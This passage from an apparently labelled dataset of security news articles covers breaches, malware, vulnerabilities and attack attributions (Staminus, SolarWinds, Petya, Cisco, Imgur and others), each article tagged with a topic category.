""What makes these database servers appealing for attackers apart from their valuable CPU power is the huge amount of data they hold,"" Guardicore researchers concluded. ""These machines possibly store personal information such as usernames, passwords, credit card numbers, etc., which can fall into the attacker's hands with only a simple brute-force.""

",Cyber_Attack
Anti-DDoS Firm Staminus HACKED! Customers Data Leaked,https://thehackernews.com/2016/03/ddos-protection.html,"Staminus Communications – a California-based hosting and DDoS (Distributed Denial of Service) protection company – is recovering a massive data breach after hackers broke down into its servers and leaked personal and sensitive details of its customers.

Though the company acknowledged that there was a problem in a message posted to Twitter on Thursday morning, it did not specify a data breach.

Staminus's website went offline at 8 am Eastern Time on Thursday, and on Friday afternoon, a representative said in a Twitter post that ""a rare event cascaded across multiple routers in a system-wide event, making our backbone unavailable.""

What type of information?
The dump of information on Staminus' systems includes:
Customer usernames
Hashed passwords
E-mail addresses
Customer real names
Customer credit card data in plain text
Customer support tickets
Server logs data
Chat logs
Source code of some of the company's services including Intreppid
Staminus' main database
Database of one of Staminus' clients, the Ku Klux Klan (KKK)
The data was posted on the Internet Friday morning, and some Staminus customers who wish to remain anonymous confirmed that their data was part of the leaked data dump.

However, the company says it does not store or collect its customers' Social Security numbers (SSNs) or tax IDs, so they are safe from the data breach.

What happened?
The Staminus data breach occurred after hackers infiltrated the company's server backbone, seized control of Staminus' routers and then reset them to factory settings, which effectively brought down the company's entire network.

The hackers also stole the company's database and dumped it online. Links to downloads of the internal Staminus data were published in a file sarcastically headlined, ""TIPS WHEN RUNNING A SECURITY COMPANY,"" detailing the security holes (given below) found during the data breach:
Use one root password for all the boxes
Expose PDU's [power distribution units in server racks] to WAN with telnet auth
Never patch, upgrade or audit the stack
Disregard PDO [PHP Data Objects] as inconvenient
Hedge entire business on security theatre
Store full credit card info in plaintext
Write all code with wreckless abandon
How many customers affected?
Although the total number of victims has not been known yet, Forbes reported that the data breach included at least 15 gigabytes worth of data belonging to Staminus.

Security researcher Nathan Malcolm from Sinthetic Labs told the publication that he analysed the data dump and found unencrypted credit card numbers, expiry dates and CVVs for as many as 1,971 Staminus customers.

What was the motive for the breach?
Potential motives for hacking Staminus are quite easy to figure out.

Staminus' clients include the white supremacist group Ku Klux Klan (www.kkk.com). The company also hosts several IRC (Internet Relay Chat) channels for large-scale DDoS attack services, Krebs noted.

What was the company's response?
Staminus CEO Matt Mahvi published the following statement on the Staminus website (which again went offline), confirming the data breach.
""We can now confirm the issue was a result of an unauthorized intrusion into our network. As a result of this intrusion, our systems were temporarily taken offline and customer information was exposed. Upon discovering this attack, Staminus took immediate action including launching an investigation into the attack, notifying law enforcement and restoring our systems.

Based on the initial investigation, we believe that usernames, hashed passwords, customer record information, including name and contact information, and payment card data were exposed. It is important to note that we do not collect Social Security numbers or tax IDs.

While the investigation continues, we have and will continue to put additional measures into place to harden our security to help prevent a future attack. While the exposed passwords were protected with a cryptographic hash, we also strongly recommend that customers change their Staminus password.""
Staminus' website came back online and believed to be wiped clean, but at the time of writing the website is still unavailable.

What victims should do?
Staminus customers are recommended to review their credit card statements carefully and to report any unauthorized bank transactions.

Meanwhile, Staminus has also advised its customers to reset all their account passwords once the service is fully operational once again.

",Data_Breaches
Microsoft Says SolarWinds Hackers Accessed Some of Its Source Code,https://thehackernews.com/2020/12/microsoft-says-solarwinds-hackers.html,"Microsoft on Thursday revealed that the threat actors behind the SolarWinds supply chain attack were able to gain access to a small number of internal accounts and escalate access inside its internal network.
The ""very sophisticated nation-state actor"" used the unauthorized access to view, but not modify, the source code present in its repositories, the company said.
""We detected unusual activity with a small number of internal accounts and upon review, we discovered one account had been used to view source code in a number of source code repositories,"" the Windows maker disclosed in an update.
""The account did not have permissions to modify any code or engineering systems and our investigation further confirmed no changes were made. These accounts were investigated and remediated.""
The development is the latest in the far-reaching espionage saga that came to light earlier in December following revelations by cybersecurity firm FireEye that attackers had compromised its systems via a trojanized SolarWinds update to steal its Red Team penetration testing tools.
During the course of the probe into the hack, Microsoft had previously admitted to detecting malicious SolarWinds binaries in its own environment but denied its systems were used to target others or that attackers had access to production services or customer data.
Several other companies, including Cisco, VMware, Intel, NVIDIA, and a number of other US government agencies, have since discovered markers of the Sunburst (or Solorigate) malware on their networks, planted via tainted Orion updates.
The Redmond-based company said its investigation is still ongoing but downplayed the incident, adding ""viewing source code isn't tied to elevation of risk"" and that it had found evidence of attempted activities that were neutralized by its protections.
In a separate analysis published by Microsoft on December 28, the company called the attack a ""cross-domain compromise"" that allowed the adversary to introduce malicious code into signed SolarWinds Orion Platform binaries and leverage this widespread foothold to continue operating undetected and access the target's cloud resources, culminating in the exfiltration of sensitive data.
SolarWinds' Orion software, however, wasn't the only initial infection vector, as the US Cybersecurity and Infrastructure Security Agency (CISA) said the attackers used other methods as well, which have not yet been publicly disclosed.
The agency also released supplemental guidance urging all US federal agencies that still run SolarWinds Orion software to update to the latest 2020.2.1 HF2 version.
""The National Security Agency (NSA) has examined this version and verified that it eliminates the previously identified malicious code,"" the agency said.

",Cyber_Attack
Private Decryption Key For Original Petya Ransomware Released,https://thehackernews.com/2017/07/petya-ransomware-decryption-key.html,"Rejoice Petya-infected victims!

The master key for the original version of the Petya ransomware has been released by its creator, allowing Petya-infected victims to recover their encrypted files without paying any ransom money.

But wait, Petya is not NotPetya.

Do not confuse Petya ransomware with the latest destructive NotPetya ransomware (also known as ExPetr and Eternal Petya) attacks that wreaked havoc across the world last month, massively targeting multiple entities in Ukraine and parts of Europe.

The Petya ransomware has three variants that have infected many systems around the world, but now the author of the original malware, goes by the pseudonym Janus, made the master key available on Wednesday.

According to the security researchers, victims infected with previous variants of Petya ransomware, including Red Petya (first version) and Green Petya (second version) and early versions the GoldenEye ransomware can get their encrypted files back using the master key.

The authenticity of the master key has been verified by an independent Polish information security researcher known as Hasherezade.
""Similarly to the authors of TeslaCrypt, he released his private key, allowing all the victims of the previous Petya attacks, to get their files back,"" Hasherezade posted her finding on MalwareBytes on Thursday.
""Thanks to the currently published master key, all the people who have preserved the images of the disks encrypted by the relevant versions of Petya, may get a chance of getting their data back.""
Although the first and second version of Petya was cracked last year, the private key released by Janus offers the fastest and most reliable way yet for Petya-infected victims to decrypt their files, especially locked with the uncrackable third version.

Meanwhile, Kaspersky Lab research analyst Anton Ivanov also analyzed the Janus' master key and confirmed that the key unlocks all versions of Petya ransomware, including GoldenEye.

Janus created the GoldenEye ransomware in 2016 and sold the variants as a Ransomware-as-a-Service (RaaS) to other hackers, allowing anyone to launch ransomware attacks with just one click and encrypt systems and demand a ransom to unlock it.

If the victim pays, Janus gets a cut of the payment. But in December, he went silent.

However, according to the Petya author, his malware has been modified by another threat actor to create NotPetya that targeted computers of critical infrastructure and corporations in Ukraine as well as 64 other countries.

The NotPetya ransomware also makes use of the NSA's leaked Windows hacking exploit EternalBlue and EternalRomance to rapidly spread within a network, and WMIC and PSEXEC tools to remotely execute malware on the machines.

Security experts even believe the real intention behind the recent ransomware outcry, which was believed to be bigger than the WannaCry ransomware, was to cause disruption, rather than just another ransomware attack.

According to researchers, NotPetya is in reality wiper malware that wipes systems outright, destroying all records from the targeted systems, and asking for ransom was just to divert world's attention from a state-sponsored attack to a malware outbreak.

Lucky are not those infected with NotPetya, but the master key can help people who were attacked by previous variants of Petya and Goldeneye ransomware in the past.

Security researchers are using the key to build free decryptors for victims who still have crypto-locked hard drives.

",Malware
Virus conducting DDoS attack from infected systems,https://thehackernews.com/2012/10/virus-conducting-ddos-attack-from.html,"Russian anti-virus company Doctor Web is warning users about the malicious program which is helping attackers carry out mass spam mailings and allow attacker to use victim's PC as slave of his DDOS Army.

According to researchers from the company they have discovered a Trojan ""Trojan.Proxy.23012"" application that uses a rare method of distribution through peer networks.

""The botnet, consisting of Trojan.Proxy.23012-infected computers, is used by criminals to control proxy servers for the purpose of using them to send spam upon command"". An example of such a spam message is shown in the screenshot below.

This Malware work as:
1.) Using peer to peer network it will download the executable file and that will be a encrypted malicious module. A very interesting algorithm used by the Trojan to download the infected computer other malware.
2.) After successfully decrypt it launches another module that reads the image in computer memory or other malicious applications.
3.) The program is saved to a user account as an executable file with a random name, and then modifies the registry Windows, to give yourself the ability to automatically run along with the operating system loads.
4.) Trojan is launched automatically at Windows' startup. The malware also tries to disable the UAC. At the final stage of the installation process, the Trojan code is injected into explorer.exe.
After successfully downloading the DDoS-module generates up to eight independent threads that begins continuously sending POST-requests to the server from a stored list of Trojan downloader, and trying to connect with a number of servers via SMTP, and then sends them to the random data.

Total list contains 200 selected as a target for DDoS-attack sites, some of which are known resources such as a portal love.com, owned corporation America On-Line, sites of several major U.S. universities, as well as portals msn.com, netscape.com and others.

Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Malware
Cisco released Security advisory for critical Router password reset vulnerability,https://thehackernews.com/2014/01/cisco-released-security-advisory-for.html,"In the first week of this year, we have reported about a critical vulnerability found in more than 2000 Routers that allow attackers to reset the admin panel password to defaults.

Recently, Cisco has released a security advisory, detailed about the similar vulnerability affecting their three networking products.
Cisco has rated the flaw highly critical and marked it as 10.0 on the Common Vulnerability Scoring System (CVSS).

A security researcher found a secret service listening on port 32764 TCP, allowed a remote user to send unauthenticated commands to the device and reset the administrative password. Successful exploitation of the vulnerability allows the hacker to execute arbitrary commands on the device with escalated privileges.

Vulnerable Cisco products are: WAP4410N Wireless-N Access Point, Cisco WRVS4400N Wireless-N Gigabit Security Router, and the Cisco RVS4000 4-port Gigabit Security.
""This vulnerability is due to an undocumented test interface in the TCP service listening on port 32764 of the affected device. An attacker could exploit this vulnerability by accessing the affected device from the LAN-side interface and issuing arbitrary commands in the underlying operating system. An exploit could allow the attacker to access user credentials for the administrator account of the device, and read the device configuration. The exploit can also allow the attacker to issue arbitrary commands on the device with escalated privileges.""
Similar backdoor is also present in multiple devices from Cisco, Netgear, Belkin and other manufacturers, according to the security researcher, Eloi Vanderbeken. He has also released a Python based exploit script to automate the exploitation.

This vulnerability has been assigned Common Vulnerabilities and Exposures (CVE) ID CVE-2014-0659. Cisco has not yet patched the bug, but it is promising to do so by the end of this month.

",Vulnerability
Imgur—Popular Image Sharing Site Was Hacked In 2014; Passwords Compromised,https://thehackernews.com/2017/11/imgur-data-breach.html,"Only after a few days of Uber admitting last year's data breach of 57 million customers, the popular image sharing site disclosed that it had suffered a major data breach in 2014 that compromised email addresses and passwords of 1.7 million user accounts.

In a blog post published on Friday, Imgur claimed that the company had been notified of a three-year-old data breach on November 23 when a security researcher emailed the company after being sent the stolen data.

Imgur Chief Operating Officer (COO) then alerted the company's founder and the Vice President of Engineering to the issue before began working to validate that the data belonged to Imgur users.

After completing the data validation, the company confirmed Friday morning that the 2014 data breach impacted approximately 1.7 million Imgur user accounts (a small fraction of its 150 million user base) and that the compromised information included only email addresses and passwords.

Since Imgur has never asked for people's real names, phone numbers, addresses, or any other personally-identifying information (PII), no other personal information was allegedly exposed in the data breach.

The company also said that the stolen passwords were scrambled with older SHA-256 hashing algorithm—which can be easily cracked using brute force attacks.

However, Imgur's COO Roy Sehgal said the website had already moved from SHA-256 to much stronger bcrypt password scrambler last year.
""We have always encrypted your password in our database, but it may have been cracked with brute force due to an older hashing algorithm (SHA-256) that was used at the time,"" the image sharing service said. ""We updated our algorithm to the new bcrypt algorithm last year.""
The company has begun notifying affected users along with enforcing a password change.

Moreover, those using the same email address and password combination across multiple sites and applications are also advised to change those details as well.

It's still unknown how this incident occurred and went unnoticed for roughly three years. Imgur is still actively investigating the hacking intrusion and will be sharing details as soon as they become available.

Security expert Troy Hunt who notified Imgur of the incident praised the company for its swift response to the breach notification and disclosure of the data breach.
""I want to recognise @imgur's exemplary handling of this: that's 25 hours and 10 mins from my initial email to a press address to them mobilising people over Thanksgiving, assessing the data, beginning password resets and making a public disclosure. Kudos!"" Hunt tweeted.
""This is really where we're at now: people recognise that data breaches are the new normal and they're judging organizations not on the fact that they've had one, but on how they've handled it when it happened.""
Imgur is yet another company in a series of security breaches that took place years ago but have only come to light in 2017. Other companies revealing previously-occurred major breaches years after included Yahoo, Uber, LinkedIn, Disqus, and MySpace.

",Data_Breaches
Apple MacBooks Can Be Hacked Through The Battery,https://thehackernews.com/2011/07/apple-macbooks-can-be-hacked-through.html,"Apple MacBooks Can Be Hacked Through The Battery

Security researcher Charlie Miller is quite well known for his works on Apple products. Today he has come up with a very interesting way to hack the MacBook using the battery. Laptop battery contains its own monitoring circuit which reports the status of the battery to the OS. It also ensure that the battery does not overcharge even when the laptop is turned off.

Miller has discovered that on the MacBooks, the batteries are shipped with the default password set on the chips. It means that if someone knows the default password, the firmware of the battery can be controlled to do many things from simply ruining the battery to installing a malware which reinstalls whenever the OS boots. Miller said that it might even be possible to overload the battery so that it catches fire.

This is what Miller said:
These batteries just aren't designed with the idea that people will mess with them. What I'm showing is that it's possible to use them to do something really bad.


You could put a whole hard drive in, reinstall the software, flash the BIOS, and every time it would reattack and screw you over. There would be no way to eradicate or detect it other than removing the battery.

This is a very real threat but such an attack is not likely to occur anytime soon. To successfully carry out the attack, the attacker has to analyze the 2009 software updates from Apple for the password, like Miller has done. If he is able to retrieve the password, he will have to find a vulnerability in the interface between the OS and the firmware. Miller believes that this will not be a difficult job as Apple probably never expected such kind of attack.

Miller will present his findings at the BlackHat security conference next month. At the conference, he also plans to release a tool which will change the password of the battery to a random string.

",Vulnerability
BBC music websites get hacked !,https://thehackernews.com/2011/02/bbc-music-websites-get-hacked.html,"THE BBC'S MUSIC WEBSITES have been hacked to stream malware using drive-by downloads for anyone browsing the infected webpages.
Hackers set the drive-by malware up at the BBC's 6 Music website and the BBC 1Xtra radio station website. Researchers at the insecurity outfit Websense found the exploits and put its report up on its security labs blog.
""The BBC - 6 Music Web site has been injected with a malicious iframe, as have areas of the BBC 1Xtra radio station Web site,"" an anonymous Websense insecurity researcher wrote.
Websense claims the injected iframe is at the bottom of the BBC 6 Music webpage and has been set up to automatically download some dodgy code from a .cc website. Apparently the hack is exactly the same on the BBC's 1Xtra website.

""If an unprotected user browsed to the site they would be faced with drive-by downloads, meaning that simply browsing to the page is enough to get infected with a malicious executable,"" Websense continued.
The malware was designed using a Pheonix Exploit kit and only 12 out of 43 of the top anti-virus packages found the exploit. Using Virus Total scan to see which products picked up the injected iframe, Websense showed that anti-virus scans from some outfits like Kaspersky, Symantec, PC Tools and Trend Micro picked up the hack.
However, other top name insecurity vendors like Sophos, McAfee and even Microsoft's anti-virus tools didn't register the hack at all. That is an appalling detection rate from both free and paid-for anti-virus kits and, as of yesterday, Websense reckoned the anti-virus toolkits were still vulnerable.

",Malware
Print of one malicious document can expose your whole LAN,https://thehackernews.com/2012/01/print-of-one-malicious-document-can.html,"Print of one malicious document can expose your whole LAN

This year at Chaos Communications Congress (28C3) Ang Cui presents Print Me If You Dare, in which he explained how he reverse-engineered the firmware-update process for HPs hundreds of millions of printers and In Andrei Costin's presentation ""Hacking MFPs"" he covered the history of printer and copier hacks from the 1960s to today.



Cui discovered that he could load arbitrary software into any printer by embedding it in a malicious document or by connecting to the printer online. As part of his presentation, he performed two demonstrations: in the first, he sent a document to a printer that contained a malicious version of the OS that caused it to copy the documents it printed and post them to an IP address on the Internet; in the second, he took over a remote printer with a malicious document, caused that printer to scan the LAN for vulnerable PCs, compromise a PC, and turn it into a proxy that gave him access through the firewall.

Costin found a method to exploit the firmware update capability of certain Xerox MFPs to upload his crafted PostScript code. He was able to run code to dump memory from the printer. This could allow an attacker to grab passwords for the administration interface or access or print PIN-protected documents.

MFPs are trusted devices connected to the office network, but sometimes they're also accessible from the Internet. The numbers of publicly accessible office MFPs range in the tens of thousands. An attacker could craft PostScript code tied with exploits from the Metasploit framework and upload it to an MFP to attack a corporate network.

Cui's technique for infecting printers involves the more limited Printer Job Language, rather than PostScript, and injects code into processes running on the printer. This was effectively a custom rootkit for the printer's OS. Cui gave HP a month to issue patches for the vulnerabilities he discovered, and HP now has new firmware available that fixes this (his initial disclosure was misreported in the press as making printers vulnerable to being overheated and turning into ""flaming death bombs"" he showed a lightly singed sheet of paper that represented the closest he could come to this claim). He urges anyone with an HP printer to apply the latest patch, because malware could be crafted to take over your printer and then falsely report that it has accepted the patch while discarding it.
The vulnerability was disclosed to HP, and updates for infected printers were released last week.
[Source]

",Vulnerability
"French Police Remotely Removed RETADUP Malware from 850,000 Infected PCs",https://thehackernews.com/2019/08/retadup-botnet-malware.html,"The French law enforcement agency, National Gendarmerie, today announced the successful takedown of one of the largest wide-spread RETADUP botnet malware and how it remotely disinfected more than 850,000 computers worldwide with the help of researchers.

Earlier this year, security researchers at Avast antivirus firm, who were actively monitoring the activities of RETADUP botnet, discovered a design flaw in the malware's C&C protocol that could have been exploited to remove the malware from victims' computer without executing any extra code.

However, to do that, the plan required researchers to have control over the malware's C&C server, which was hosted with a hosting provider located in the Ile-de-France region in north-central France.

Therefore, the researchers contacted the Cybercrime Fighting Center (C3N) of the French National Gendarmerie at the end of March this year, shared their findings, and proposed a secret plan to put an end to the RETADUP virus and protect victims.

According to the proposed plan, the French authorities took control over the RETADUP C&C server in July and replaced it with a prepared disinfection server that abused the design flaw in its protocol and commanded the connected instances of the RETADUP malware on infected computers to self-destruct.

""In the very first second of its activity, several thousand bots connected to it in order to fetch commands from the server. The disinfection server responded to them and disinfected them, abusing the C&C protocol design flaw,"" the researchers explain in a blog post published today.

""At the time of publishing this article, the collaboration has neutralized over 850,000 unique infections of RETADUP.""

According to Jean-Dominique Nollet, head of the National Criminal Intelligence Service at Gendarmerie Nationale, the authorities will keep the disinfection server online for a few more months as some infected computers have not yet made a connection with the police controlled C&C server—some have been offline since July while others have network problems.
The French police also contacted the FBI after finding some parts of the RETADUP's C&C infrastructure in the United States. The FBI then took them down on July 8, leaving the malware authors with no control over the bots.

""Since it was the C&C server's responsibility to give mining jobs to the bots, none of the bots received any new mining jobs to execute after this takedown,"" the researchers say. ""This meant that they could no longer drain the computing power of their victims and that the malware authors no longer received any monetary gain from mining.""

Created in 2015 and primarily infected computers throughout Latin America, RETADUP is a multi-functional Windows malware that is capable of mining cryptocurrency using the computing power of infected machines, DDoSing targeted infrastructure utilizing the bandwidth of the victims, and gathering information for espionage.

There are several variants of RETADUP, some of which have been either written in Autoit or using AutoHotkey. The malware has been designed to achieve persistence on Windows computers, install additional malware payloads on infected machines and also periodically perform other attempts to spread itself.
Besides distributing cryptocurrency malware as payload, RETADUP, in some cases, has also been found spreading the Stop ransomware and the Arkei password stealer.

""The C&C server also contained a .NET controller for an AutoIt RAT called HoudRat. Looking at samples of HoudRat, it is clear that HoudRat is just a more feature-rich and less prevalent variant of Retadup,"" the researchers learned after analyzing the seized C&C server.

""HoudRat is capable of executing arbitrary commands, logging keystrokes, taking screenshots, stealing passwords, downloading arbitrary files, and more.""

At the time of publishing this article, the authorities have neutralized over 850,000 unique infections of Retadup, with most victims being from Spanish-speaking countries in Latin America.

",Malware
XSS Vulnerability in Apple website,https://thehackernews.com/2012/11/xss-vulnerability-in-apple-website.html,"A 16 years old Spanish Whitehat hacker going by name ""The Pr0ph3t"" found XSS Vulnerability on Apple website. The Vulnerability reported in Apple subdomain - https://locate.apple.com, where users can choose a service center location.
About Cross site scripting : Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. The malicious script can access any cookies, session tokens, or other sensitive information retained by your browser. This vulnerability may be used by attackers to bypass access controls such as the same origin policy.
After capturing HTTP headers, hacker found that there is a parameter called ""location"" which is actually not filtered for malicious inputs. Hacker. For proof of concept , he inject a JavaScript code - as shown in image.

Vulnerability existence verified by The Hacker News team and its still vulnerable.

",Vulnerability
U.S. developing Technology to Identify and Track Hackers Worldwide,https://thehackernews.com/2016/05/darpa-trace-hacker.html,"Without adequate analysis and algorithms, mass surveillance is not the answer to fighting terrorism and tracking suspects.

That's what President Obama had learned last year when he signed the USA Freedom Act, which ends the bulk collection of domestic phone data by US Intelligence Agencies.

There is no doubt that US Government is collecting a vast quantity of data from your smartphone to every connected device i.e. Internet of the things, but…

Do they have enough capabilities to predict and identify terrorists or cyber criminals or state-sponsored hackers before they act?

Well, if they had, I would not be getting chance to write about so many brutal cyber attacks, data breaches, and terrorist attacks that not only threatened Americans but also impacted people worldwide.


The Ex-NSA technical director William E. Binney, who served the US National Security Agency for over 30-years, said last year in the front of Parliamentary Joint Committee that forcing analysts to examine billions of records crush their ability to identify actual threats.

Technology to Track and Identify Hackers

Now, the Pentagon wants a better way to not only identify the malicious hacker but also looking for practical algorithms that can predict where that hacker might attack next.

Defense Advanced Projects Agency (DARPA) is offering funding for security researchers who can help the agency to develop algorithms that can identify hackers under its new game-changing initiative called 'Enhanced Attribution Program'.

Although organizations and countries give their best to identify cyber campaigns who infiltrated their critical infrastructure, tracking down the culprits has always been a difficult task — thanks to TOR, Virtual Private Networks (VPNs), and other methods used to hide the attack source.

However, through this new initiative, the United States military research agency DARPA hopes that agencies would quickly track and identify sophisticated hackers or criminal groups by monitoring their exact behavior and physical biometrics.

The aim of Enhanced Attribution program is to track personas continuously and create ""algorithms for developing predictive behavioral profiles.""
""The goal of the Enhanced Attribution (EA) program is to develop technologies for generating operationally and tactically relevant information about multiple concurrent independent malicious cyber campaigns, each involving several operators; and the means to share such information with any of a number of interested parties without putting at risk the sources and methods used for collection,"" reads the project's official site.
In other words, the Enhanced Attribution Program will not only help the government characterize the cyber criminal but also share the criminal's modus operandi with potential victims and predict the attacker's next target.

Enhanced Attribution Project

DARPA also wants the program to include algorithms to predictive behavioral profiles within the context of cyber campaigns, as well as technologies to validate and improve this knowledge base with public and commercial sources of information.

The program is divided into three tracks:
Behavior and Activity Tracking and Summarization
Fusion and Predictive Analysis
Validation and Enrichment
Each track deals with different levels of behavior data collection and analysis.

The Enhanced Attribution Program will last 18 months, so if you have a crazy idea to track down malicious hackers, you can submit your research proposal until June 7, 2016.

",Cyber_Attack
DNS Changer malware mastermind pleaded guilty,https://thehackernews.com/2013/02/dns-changer-malware-mastermind-pleaded.html,"Remember the DNS Changer malware that infected at least four million computers in more than 100 countries, including 500,000 in the United States, with malicious software or malware ?

Valeri Aleksejev, 32 years old from Estonia, is the first of the seven individuals to enter a plea, admitting his guilt for his role in the global scam that netted approximately $14 million. He faces up to 25 years in prison, deportation and the forfeiture of $7 million.
The other six individuals have been named as Anton Ivanov, Vladimir Tsastsin, Timur Gerassimenko, Dmitri Jegorov, Konstantin Poltev, and Andrey Taame. Alekseev was the first large-scale Internet fraud criminal case came to trial.

The scam had several components, including a click-hijacking fraud in which Malware was delivered to victims' PCs when they visited specially crafted websites or when they downloaded phony video codec software.

The malware changed the DNS settings of the infected computers, and even in cases could change the DNS settings of the routers they were connected to.

",Malware
SolarWinds Issues Second Hotfix for Orion Platform Supply Chain Attack,https://thehackernews.com/2020/12/solarwinds-issues-second-hotfix-for_15.html,"Network monitoring services provider SolarWinds officially released a second hotfix to address a critical vulnerability in its Orion platform that was exploited to insert malware and breach public and private entities in a wide-ranging espionage campaign.
In a new update posted to its advisory page, the company urged its customers to update Orion Platform to version 2020.2.1 HF 2 immediately to secure their environments.
The malware, dubbed SUNBURST (aka Solorigate), affects Orion app versions 2019.4 through 2020.2.1, released between March 2020 and June 2020.
""Based on our investigation, we are not aware that this vulnerability affects other versions—including future versions—of Orion Platform products,"" the company said.
""We have scanned the code of all our software products for markers similar to those used in the attack on our Orion Platform products identified above, and we have found no evidence that other versions of our Orion Platform products or our other products or agents contain those markers.""
It also reiterated none of its other free tools or agents, such as RMM and N-central, were impacted by the security shortcoming.
Microsoft Seizes Domain Used in SolarWinds Hack
While details on how SolarWinds' internal network was breached are still awaited, Microsoft yesterday took the step of taking control over one of the main GoDaddy domains — avsvmcloud[.]com — that was used by the hackers to communicate with the compromised systems.
The Windows maker also said it plans to start blocking known malicious SolarWinds binaries starting today at 8:00 AM PST.
Meanwhile, security researcher Mubix ""Rob"" Fuller has released an authentication audit tool called SolarFlare that can be run on Orion machines to help identify accounts that may have been compromised during the breach.
""This attack was very complex and sophisticated,"" SolarWinds stated in a new FAQ for why it couldn't catch this issue beforehand. ""The vulnerability was crafted to evade detection and only run when detection was unlikely.""
Up to 18,000 Businesses Hit in SolarWinds Attack
SolarWinds estimates that as many as 18,000 of its customers may have been impacted by the supply chain attack. But indications are that the operators of the campaign leveraged this flaw to only hit select high-profile targets.
Cybersecurity firm Symantec said it identified more than 2,000 computers at over 100 customers that received the backdoored software updates but added it did not spot any further malicious impact on those machines.
Just as the fallout from the breach is being assessed, the security of SolarWinds has attracted more scrutiny.
Not only it appears the company's software download website was protected by a simple password (""solarwinds123"") that was published in the clear on SolarWinds' code repository at Github; several cybercriminals attempted to sell access to its computers on underground forums, according to Reuters.
In the wake of the incident, SolarWinds has taken the unusual step of removing the clientele list from its website.

",Malware
New Zero-Day Vulnerability CVE-2014-1776 Affects all Versions of Internet Explorer Browser,https://thehackernews.com/2014/04/new-zero-day-vulnerability-cve-2014.html,"Microsoft confirmed a new Zero Day critical vulnerability in its browser Internet Explorer. Flaw affects all versions of Internet Explorer, starting with IE version 6 and including IE version 11.

In a Security Advisory (2963983) released yesterday, Microsoft acknowledges a zero-day Internet Explorer vulnerability (CVE-2014-1776) is being used in targeted attacks by APT groups, but the currently active attack campaigns are targeting IE9, IE10 and IE11.

INTERNET EXPLORER 0-DAY VULNERABILITY (CVE-2014-1776)
According to Advisory, Internet Explorer is vulnerable to Remote Code Execution, which resides 'in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated.' Microsoft said.

Microsoft Investigation team is currently working with FireEye Security experts, and dubbed the ongoing targeted campaign as ""Operation Clandestine Fox"".

In a blogpost, FireEye explained that an attacker could trigger the zero-day IE exploit through a malicious webpage that the targeted user has to access with one of the affected Internet Explorer browser. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code within the browser in order to gain the same user rights as the current user.

CULPRIT: ADOBE FLASH PLUGIN
But, Internet Explorer zero-day exploit depends upon the loading of a Flash SWF file that calls for a Javascript in vulnerable version Internet Explorer to trigger the flaw, and which also allows the exploit to bypass Windows' ASLR and DEP protections on the target system by exploiting the Adobe Flash plugin.

According to the advisory, there is currently no security patch available for this vulnerability. ""Collectively, in 2013, the vulnerable versions of IE accounted for 26.25% of the browser market."" FireEye said.

MITIGATION - HOW TO PROTECT YOUR COMPUTER FROM ZERO-DAY IE EXPLOIT?
Microsoft is working on a security patch for Internet Explorer vulnerability, could be available from the Next Patch Tuesday update (13th May, 2014). However, you can still migrate the zero-day threat by following below given methods:
Install Enhanced Mitigation Experience Toolkit (EMET 4.1), a free utility that helps prevent vulnerabilities in software from being successfully exploited.
You can protect against exploitation by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting.
Tools > Internet Options > Security > Internet > Custom Level > Under Scripting Settings > Disable Active Scripting
Under Local intranet's Custom Level Settings > Disable Active Scripting
If you are using Internet Explorer 10 or the higher version, enable Enhanced Protected Mode to prevent your browser from Zero-Day Attack.
IE Exploit will not work without Adobe Flash. So Users are advised to disable the Adobe Flash plugin within IE.
De-Register VGX.dll (VML parser) file, which is responsible for rendering of VML (Vector Markup Language) code in web pages, in order to prevent exploitation. Run following command:
regsvr32 -u ""%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll""
Stay Safe!

",Cyber_Attack
Exclusive: SonicWall Hacked Using 0-Day Bugs In Its Own VPN Product,https://thehackernews.com/2021/01/exclusive-sonicwall-hacked-using-0-day.html,"SonicWall, a popular internet security provider of firewall and VPN products, on late Friday disclosed that it fell victim to a coordinated attack on its internal systems.
The San Jose-based company said the attacks leveraged zero-day vulnerabilities in SonicWall secure remote access products such as NetExtender VPN client version 10.x and Secure Mobile Access (SMA) that are used to provide users with remote access to internal resources.
""Recently, SonicWall identified a coordinated attack on its internal systems by highly sophisticated threat actors exploiting probable zero-day vulnerabilities on certain SonicWall secure remote access products,"" the company exclusively told The Hacker News.
The development comes after The Hacker News received reports that SonicWall's internal systems went down earlier this week on Tuesday and that the source code hosted on the company's GitLab repository was accessed by the attackers.
SonicWall wouldn't confirm the reports beyond the statement, adding it would provide additional updates as more information becomes available.
The complete list of affected products include:
NetExtender VPN client version 10.x (released in 2020) utilized to connect to SMA 100 series appliances and SonicWall firewalls
Secure Mobile Access (SMA) version 10.x running on SMA 200, SMA 210, SMA 400, SMA 410 physical appliances, and the SMA 500v virtual appliance
The company said its SMA 1000 series is not susceptible to the zero-days and that it utilizes clients different from NetExtender.
It has also published an advisory urging organizations to enable multi-factor authentication, disable NetExtender access to the firewall, restrict access to users and admins for public IP addresses, and configure whitelist access on the SMA directly to mitigate the flaws.
With a number of cybersecurity vendors such as FireEye, Microsoft, Crowdstrike, and Malwarebytes becoming targets of cyberattacks in the wake of SolarWinds supply chain hack, the latest breach of SonicWall raises significant concerns.
""As the front line of cyber defense, we have seen a dramatic surge in cyberattacks on governments and businesses, specifically on firms that provide critical infrastructure and security controls to those organizations,"" SonicWall said.
UPDATE (24 Jan, 2021)
SonicWall, in an updated advisory on Saturday, said its NetExtender VPN clients are no longer affected by the potential zero-day vulnerabilities that it said were used to carry out a ""coordinated attack"" on its internal systems.
The company, however, said it's continuing to investigate the SMA 100 Series for probable zero-days.
""While we previously communicated NetExtender 10.x as potentially having a zero-day, that has now been ruled out,"" the company stated. ""It may be used with all SonicWall products. No action is required from customers or partners.""
That said, exact specifics about the nature of the attack and what prompted SonicWall to investigate its own products as a possible attack vector remains unclear as yet.
We have reached out to the company for details, and we'll update the story if we hear back.

",Vulnerability
Flaw in Elementor and Beaver Addons Let Anyone Hack WordPress Sites,https://thehackernews.com/2019/12/wordpress-elementor-beaver.html,"Attention WordPress users!

Your website could easily get hacked if you are using ""Ultimate Addons for Beaver Builder,"" or ""Ultimate Addons for Elementor"" and haven't recently updated them to the latest available versions.

